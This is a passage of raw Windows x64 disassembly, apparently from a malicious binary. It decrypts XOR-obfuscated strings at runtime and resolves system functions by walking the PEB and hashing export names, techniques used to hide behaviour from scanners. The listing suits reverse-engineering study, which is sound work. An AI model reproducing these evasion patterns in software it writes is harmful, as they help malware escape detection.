movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4e8]
xorps xmm2, xmm1
movd dword [rbp + 0x4e8], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x4e0]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140016500
mov r8, r10
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x460]
call fcn.140019fe0
nop
lea r8, [rbp + 0x4c8]
mov rdx, rax
lea rcx, [rbp + 0x1c0]
call fcn.140019f20
nop
mov rbx, qword [rax + 0x10]
mov rcx, rax
call fcn.140019630
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7d0]
call fcn.1400197f0
nop
lea rcx, [rbp + 0x1c0]
call fcn.140019910
nop
lea rcx, [rbp + 0x460]
call fcn.140019910
nop
lea rcx, [rbp + 0x3c0]
call fcn.140019910
cmp byte [rbp + 0x4ed], 0
jne 0x140016753
mov r8d, edi
cmp r15d, 2
jl 0x140016712
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4e0]
xorps xmm2, xmm1
movd dword [rbp + 0x4e0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4e4]
xorps xmm2, xmm1
movd dword [rbp + 0x4e4], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4e8]
xorps xmm2, xmm1
movd dword [rbp + 0x4e8], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x4e0]
add r9, rax
nop
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140016720
cmp byte [rbp + 0x4cb], 0
jne 0x140016812
mov r8d, edi
cmp r15d, 2
jl 0x1400167d1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x4c8]
xorps xmm1, xmm0
movd dword [rbp + 0x4c8], xmm1
jmp 0x140016812
lea r9, [rbp + 0x4c8]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400167e0
cmp byte [rbp + 0x682], 0
je 0x140016983
mov r8d, edi
cmp r15d, 2
jl 0x14001693a
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x658]
mov edx, r14d
mov r9d, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x28
jl 0x140016842
cmp r8d, 0x2b
jge 0x140016983
movsxd rax, r8d
lea r9, [rbp + 0x658]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140016950
lea rax, [rbp + 0x658]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140016990
lea rdx, [rbp + 0x658]
lea rcx, [rbp + 0x7d0]
call fcn.1400197f0
cmp byte [rbp + 0x682], 0
jne 0x140016b23
mov r8d, edi
cmp r15d, 2
jl 0x140016ad8
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x658]
mov edx, r14d
mov r9d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x28
jl 0x1400169e0
cmp r8d, 0x2b
jge 0x140016b23
movsxd rax, r8d
lea r9, [rbp + 0x658]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140016af0
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp + 0x3a0]
call fcn.1400199e0
mov rcx, rax
call fcn.140001f10
xor edx, edx
lea rcx, [rbp + 0x7d0]
call fcn.140019b20
nop
lea rcx, [rbp + 0x7d0]
call fcn.140019910
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140016be4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140016be4
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x1c347a4f
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140016bdf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140016bc0
cmp edx, 0x20671752
je 0x140016be9
test r9d, r9d
jne 0x140016ba0
mov rax, qword [rax]
jmp 0x140016b70
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x64
call rax
lea rcx, [rbp + 0x7b0]
call fcn.140019630
mov rbx, rax
mov rcx, r13
call fcn.140019630
mov rdx, rax
lea rcx, [rbp + 0xa20]
call fcn.1400199a0
nop
mov rdx, rbx
lea rcx, [rbp + 0x9a0]
call fcn.1400199a0
nop
lea rcx, [rbp + 0x6d8]
call fcn.140019b00
nop
mov eax, dword [str.4_6_]
mov dword [rsp + 0x60], eax
movzx eax, word [0x14001d900]
mov word [rsp + 0x64], ax
mov byte [rsp + 0x60], 0x63
xor byte [rsp + 0x61], 0x58
xor byte [rsp + 0x62], 0x59
xor byte [rsp + 0x63], 0x5a
xor al, 0x5b
mov byte [rsp + 0x64], al
xor byte [rsp + 0x65], 0x5c
lea rax, [rsp + 0x60]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140016c90
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x6d8]
call fcn.1400197f0
lea rcx, [rbp + 0xa20]
call fcn.140019630
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140016cc0
mov rdx, rax
lea rcx, [rbp + 0x6d8]
call fcn.1400197f0
mov eax, dword [str.wu6z_]
mov dword [rbp - 0x70], eax
movzx eax, byte [0x14001d908]
mov byte [rbp - 0x70], 0x20
xor byte [rbp - 0x6f], 0x58
xor byte [rbp - 0x6e], 0x59
xor byte [rbp - 0x6d], 0x5a
xor al, 0x5b
mov byte [rbp - 0x6c], al
lea rax, [rbp - 0x70]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140016d05
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x6d8]
call fcn.1400197f0
lea rcx, [rbp + 0x9a0]
call fcn.140019630
mov r8, r12
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140016d30
mov rdx, rax
lea rcx, [rbp + 0x6d8]
call fcn.1400197f0
movsd xmm0, qword [0x14001d8a8]
movsd qword [rbp - 0x80], xmm0
movzx eax, word [0x14001d8b0]
mov word [rbp - 0x78], ax
mov byte [rbp - 0x80], 0x20
xor byte [rbp - 0x7f], 0x58
xor byte [rbp - 0x7e], 0x59
xor byte [rbp - 0x7d], 0x5a
xor byte [rbp - 0x7c], 0x5b
xor byte [rbp - 0x7b], 0x5c
xor byte [rbp - 0x7a], 0x5d
xor byte [rbp - 0x79], 0x5e
xor al, 0x5f
mov byte [rbp - 0x78], al
xor byte [rbp - 0x77], 0x60
lea rax, [rbp - 0x80]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140016d91
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x6d8]
call fcn.1400197f0
lea rcx, [rbp + 0x6d8]
call fcn.140019630
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r11d, dword [rdx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140016e44
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140016e44
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0xce5294c0
movzx eax, byte [r8]
inc r8
test al, al
je 0x140016e3f
nop
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8]
lea r8, [r8 + 1]
test al, al
jne 0x140016e20
cmp edx, 0xde3a7fc1
je 0x140016e49
test r9d, r9d
jne 0x140016e00
mov rcx, qword [rcx]
jmp 0x140016dd0
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov rcx, rsi
call rax
xor edx, edx
lea rcx, [rbp + 0x6d8]
call fcn.140019b20
xor edx, edx
lea rcx, [rbp + 0xa20]
call fcn.140019b20
xor edx, edx
lea rcx, [rbp + 0x9a0]
call fcn.140019b20
nop
lea rcx, [rbp + 0x6d8]
call fcn.140019910
nop
lea rcx, [rbp + 0x9a0]
call fcn.140019910
nop
lea rcx, [rbp + 0xa20]
call fcn.140019910
lea rcx, [rbp + 0x7b0]
call fcn.140019630
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.1400199a0
mov rsi, rax
mov qword [rbp - 0x50], rax
mov rcx, rax
call fcn.140019630
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r11d, dword [rdx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140016f74
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140016f74
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x6bfb71e
movzx eax, byte [r8]
inc r8
test al, al
je 0x140016f6f
nop
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8]
lea r8, [r8 + 1]
test al, al
jne 0x140016f50
cmp edx, 0x5aafff8
je 0x140016f79
test r9d, r9d
jne 0x140016f30
mov rcx, qword [rcx]
jmp 0x140016f00
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov edx, 6
mov rcx, r14
call rax
nop
mov rcx, rsi
call fcn.140019910
lea rcx, [rbp + 0x7b0]
call fcn.140019630
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r11d, dword [rdx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140017044
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140017044
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x7d72317f
movzx eax, byte [r8]
inc r8
test al, al
je 0x14001703f
nop
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8]
lea r8, [r8 + 1]
test al, al
jne 0x140017020
cmp edx, 0x1d5091de
je 0x140017049
test r9d, r9d
jne 0x140017000
mov rcx, qword [rcx]
jmp 0x140016fd0
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov rcx, rsi
call rax
xor edx, edx
lea rcx, [rbp + 0x7b0]
call fcn.140019b20
nop
lea rcx, [rbp + 0x7b0]
call fcn.140019910
nop
mov rcx, r13
call fcn.140019910
mov r13d, 4
cmp byte [rbp + 0x789], 0
jne 0x140017203
mov r8d, edi
cmp r15d, 2
jl 0x1400171b9
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x730]
mov edx, r13d
mov r9d, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x58
jl 0x1400170c1
cmp r8d, 0x5a
jge 0x140017203
movsxd rax, r8d
lea r9, [rbp + 0x730]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x1400171d0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c0], rax
lea rcx, [rbp + 0x5b0]
call fcn.14001a8d0
nop
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x10]
call fcn.14001aaa0
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x5b0]
call fcn.14001a2b0
nop
cmp dword [rbp + 0x18], 0
jne 0x1400192f0
lea rdx, [rbp - 0x57]
lea rcx, [rbp + 0x40]
call fcn.14001ab30
nop
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x5b0]
call fcn.14001a2b0
nop
cmp dword [rbp + 0x48], 0
jne 0x1400192f0
lea rdx, [rbp - 0x56]
lea rcx, [rbp + 0x30]
call fcn.14001abc0
nop
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x5b0]
call fcn.14001a2b0
nop
cmp dword [rbp + 0x38], 0
jne 0x1400192f0
lea rdx, [rbp - 0x55]
lea rcx, [rbp + 0x20]
call fcn.14001ac50
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x5b0]
call fcn.14001a2b0
nop
cmp dword [rbp + 0x28], 0
jne 0x1400192f0
mov rsi, qword [rbp + 0x5b8]
mov rbx, qword [rbp + 0x5b0]
cmp rbx, rsi
je 0x1400172f1
nop word [rax + rax]
mov rcx, rbx
call fcn.140001ae0
add rbx, 0x10
cmp rbx, rsi
jne 0x1400172e0
movzx r8d, byte [0x140021790]
movzx edx, byte [0x140021792]
movzx ecx, byte [0x140021793]
movzx eax, byte [0x140021791]
test al, al
je 0x140017331
test cl, cl
je 0x140017320
test dl, dl
je 0x140017320
test r8b, r8b
jne 0x14001736d
nop
test al, al
je 0x140017331
test cl, cl
je 0x140017331
test dl, dl
je 0x140017331
test r8b, r8b
jne 0x14001736d
mov qword [rbp - 0x28], 1
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x78]
call fcn.14001a1a0
mov rcx, rax
call fcn.14001a940
movzx eax, byte [0x140021791]
movzx ecx, byte [0x140021793]
movzx edx, byte [0x140021792]
movzx r8d, byte [0x140021790]
jmp 0x140017320
cmp byte [rbp + 0x8a7], 0
je 0x1400174d2
mov r8d, edi
cmp r15d, 2
jl 0x140017491
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x850]
mov r8d, r13d
mov r9d, dword [rsp + 0x50]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x58
jl 0x1400173a0
jmp 0x1400174d2
lea r9, [rbp + 0x850]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x1400174a0
lea rdx, [rbp + 0x850]
lea rcx, [rbp + 0x380]
call fcn.1400199a0
mov r14, rax
mov qword [rbp - 0x50], rax
mov ecx, dword [str.y_4_]
mov dword [rbp + 0x494], ecx
movzx ecx, byte [0x14001d9ec]
mov byte [rbp + 0x498], cl
test cl, cl
jne 0x14001752c
xor byte [rbp + 0x494], 0x57
xor byte [rbp + 0x495], 0x58
xor byte [rbp + 0x496], 0x59
xor byte [rbp + 0x497], 0x5a
mov byte [rbp + 0x498], 0x5b
mov eax, dword [0x14001dc44]
mov dword [rbp + 0x4b4], eax
movzx eax, byte [0x14001dc48]
mov byte [rbp + 0x4b8], al
test al, al
jne 0x14001756c
xor byte [rbp + 0x4b4], 0x57
xor byte [rbp + 0x4b5], 0x58
xor byte [rbp + 0x4b6], 0x59
xor byte [rbp + 0x4b7], 0x5a
mov byte [rbp + 0x4b8], 0x5b
mov eax, dword [str.sonZwut_2080_]
mov dword [rbp + 0x4c0], eax
movzx eax, word [0x14001d8f8]
mov word [rbp + 0x488], ax
cmp byte [0x14001d8f9], 0
jne 0x14001759e
xor al, 0x57
mov byte [rbp + 0x488], al
xor byte [rbp + 0x489], 0x58
movzx eax, word [0x14001db5c]
mov word [rbp + 0x4a8], ax
cmp byte [0x14001db5d], 0
jne 0x1400175c4
xor al, 0x57
mov byte [rbp + 0x4a8], al
xor byte [rbp + 0x4a9], 0x58
lea rcx, [rbp + 0x590]
call fcn.140019b00
nop
cmp byte [rbp + 0x4c3], 0
je 0x140017692
mov r8d, edi
cmp r15d, 2
jl 0x14001764f
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x4c0]
xorps xmm1, xmm0
movd dword [rbp + 0x4c0], xmm1
jmp 0x140017692
lea r9, [rbp + 0x4c0]
nop word [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140017660
lea rax, [rbp + 0x4c0]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400176a0
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x590]
call fcn.1400197f0
cmp byte [rbp + 0x4c3], 0
jne 0x140017782
mov r8d, edi
cmp r15d, 2
jl 0x14001773b
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x4c0]
xorps xmm1, xmm0
movd dword [rbp + 0x4c0], xmm1
jmp 0x140017782
lea r9, [rbp + 0x4c0]
nop dword [rax]
nop word [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140017750
movzx eax, byte [rbp + 0x489]
test al, al
je 0x14001779c
xor byte [rbp + 0x488], 0x57
xor al, 0x58
mov byte [rbp + 0x489], al
lea rax, [rbp + 0x488]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400177a6
lea rdx, [rbp + 0x488]
lea rcx, [rbp + 0x590]
call fcn.1400197f0
cmp byte [rbp + 0x489], 0
jne 0x1400177da
xor byte [rbp + 0x488], 0x57
mov byte [rbp + 0x489], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x81d4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6e50]
call fcn.140019ce0
mov dword [rbp + 0x5e0], 0x423a35c7
mov dword [rbp + 0x5e4], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x6e50]
